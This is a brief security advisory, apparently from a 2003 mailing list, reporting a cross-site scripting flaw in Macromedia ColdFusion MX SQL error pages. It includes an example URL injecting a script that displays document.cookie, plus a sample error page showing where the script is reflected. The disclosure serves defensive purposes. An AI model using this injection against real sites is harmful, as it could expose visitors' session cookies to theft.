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From: lorenzohgh at nsrg-security.com (Lorenzo Hernandez Garcia-Hierro)
Subject: ColdFusion SQL Error Pages XSS

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NOTE ABOUT COLDFUSION XSS ATTACKS
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Vendor: Macromedia
Versions: MX ( 6.0 ) tested , older ?
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PROBLEM:
When you access to an error page of  sql you can insert xss code to be shown
in the error uotput of the sql backend.
example:
http://[target]/article.cfm?id=1'<script>alert(document.cookie);</script>
the output:
Error Occurred While Processing Request
      Error Diagnostic Information
      [SQL SERVER] Error Code = code

      SQL SERVER-XXXX: SQL command not properly ended



      SQL = "SELECT article AS articleID FROM articlesnews WHERE newsID =
1'[HERE COMES THE XSS THAT IS EXECUTED]

      Data Source = "XXXXXXXXXXXXXXXXXXXXXX"


      The error occurred while processing an element with a general
identifier of (CFQUERY), occupying document position (7:2) to (7:58) in the
template file /xxxxxxxxxxxxxxxxxxxx/articles.cfm.


      Date/Time: Moof 2003
      Browser: Browserio

      Remote Address: xxx.xxx.xxx.xxx

      Query String: id=1'[again executed the xss attack]




Please inform the site administrator that this error has occurred (be sure
to include the contents of this page in your message to the administrator).

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CONTACT INFO:
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0x00->Lorenzo Hernandez Garcia-Hierro
0x01->/* not csh but sh */
0x02->$ PATH=pretending!/usr/ucb/which sense
0x03-> no sense in pretending!
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